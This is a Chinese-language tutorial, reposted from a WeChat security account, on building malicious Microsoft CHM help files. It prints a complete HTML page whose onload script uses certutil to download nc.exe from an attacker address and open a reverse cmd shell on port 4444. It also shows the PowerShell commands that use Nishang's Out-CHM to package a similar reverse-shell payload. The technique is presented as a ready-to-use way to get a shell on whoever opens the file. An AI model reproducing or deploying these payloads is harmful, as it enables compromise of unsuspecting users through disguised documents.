简介
Microsoft Compiled HTML Help,或者简称为CHM,是一种由微软开发的在线帮助文件格式,它由一组HTML页面、一个索引和其他导航工具组成。CHM文件是压缩的,并以二进制格式部署,扩展名为.chm,代表已编译的HTML。这种格式通常用于软件文档。
下面我们将介绍手动编写和使用PowerShell武器化CHM。
编写CHM
为了编写CHM,我们首先需要下载HTML Help Workshop。
安装运行后会显示空白界面。
我们需要新建一个项目,为此,点击左上方的空白文件按钮新建项目。
点击OK按钮并继续下一步后,我们会看到需要填写创建的文件名和路径,这里以桌面路径,文件命为nc.hhp为例。
点击下一步后会询问包含的文件,这里选择HTML files。
然后我们需要编写HTML文件,以nc.html为例:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Example</title>
<script type="text/javascript">
function downloadAndRun() {
var command = "certutil -urlcache -split -f http://192.168.8.145/nc.exe nc.exe && nc.exe -e cmd 192.168.8.145 4444";
var wsh = new ActiveXObject("WScript.Shell");
wsh.Run(command, 0, false);
}
</script>
</head>
<body onload="downloadAndRun()">
<h1>Example</h1>
<p>This is an example of using CHM file to download and run a malicious program using certutil.</p>
</body>
</html>
该代码会通过certutil下载nc.exe 文件并运行。
编写完毕后,在当前窗口中点击Add按钮添加指定的HTML文件。
继续点击下一步我们就创建完成。
完成后,我们可以点击FILE下面的文件来查看编辑的HTML代码。
接下来我们需要编译文件,可以选择文件菜单中的Compile或点击左下角的按钮进行编译。
查看输出文件目录时,我们就会看到生成好的CHM文件,在本例中为nc.chm。
当运行该文件后,我们即可在nc的监听终端中获取到shell会话。
PowerShell武器化
除了手动编写外,我们还可以使用PowerShell后渗透框架——Nishang来生成CHM文件。
攻击者可以采用多种方法下载该文件:https://raw.githubusercontent.com/samratashok/nishang/master/Client/Out-CHM.ps1
下载完成后,输入以下命令导入模块:
Import-Module .Out-CHM.ps1
如果无法导入,修改执行策略即可。
然后输入以下命令来生成CHM文件:
out-chm -payload "C:Userssnowwolfnc.exe -e powershell 192.168.8.145 4444" -HHCPath "C:Program Files (x86)HTML Help Workshop"
其中,-payload用来指定运行的程序;-HHCPath用来指定HTML Help程序的运行路径。
当运行该CHM文件时,即可在nc的监听终端中获取到会话。
- END -
原文始发于微信公众号(Ghost Wolf Lab):编写恶意CHM
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论